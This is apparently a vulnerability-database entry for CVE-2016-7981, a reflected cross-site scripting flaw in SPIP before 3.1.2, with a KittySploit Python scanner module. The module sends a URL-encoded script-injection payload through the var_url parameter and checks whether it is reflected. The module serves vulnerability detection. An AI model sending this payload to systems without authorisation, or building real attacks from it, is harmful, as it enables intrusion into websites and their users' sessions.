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SPIP <3.1.2 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote XSS in SPIP valider_xml.php via var_url parameter allowing arbitrary script injection.

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ReporterTitlePublishedViews
Family
zdt
zdt
SPIP 3.1.2 Cross Site Scripting Vulnerability
20 Oct 201600:00
–zdt
circl
Circl
CVE-2016-7981
19 Oct 201620:44
–circl
cnvd
CNVD
SPIP cross-site scripting vulnerability (CNVD-2016-09663)
12 Oct 201600:00
–cnvd
cve
CVE
CVE-2016-7981
18 Jan 201717:00
–cve
cvelist
Cvelist
CVE-2016-7981
18 Jan 201717:00
–cvelist
debian
Debian
[SECURITY] [DLA 695-1] spip security update
2 Nov 201622:00
–debian
debiancve
Debian CVE
CVE-2016-7981
18 Jan 201717:00
–debiancve
nessus
Tenable Nessus
Debian DLA-695-1 : spip security update
3 Nov 201600:00
–nessus
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2016-7981
25 Aug 202500:00
–nessus
mend
Mend
CVE-2016-7981
18 Jan 201717:00
–mend
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SPIP 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'SPIP <3.1.2 - Cross-Site Scripting Detection',
        'description': 'SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2016', 'xss', 'spip', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://core.spip.net/projects/spip/repository/revisions/23202',
            'https://core.spip.net/projects/spip/repository/revisions/23201',
            'https://core.spip.net/projects/spip/repository/revisions/23200',
            'https://nvd.nist.gov/vuln/detail/CVE-2016-7981',
            'http://www.openwall.com/lists/oss-security/2016/10/05/17',
        ],
        'cve': 'CVE-2016-7981',
    }

    def run(self):
        r = self.http_request(method="GET", path='/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('"></script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="SPIP <3.1.2 - Cross-Site Scripting detected",
                path='/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.8Medium risk
Vulners AI Score6.8
CVSS 24.3
CVSS 36.1
EPSS0.08216
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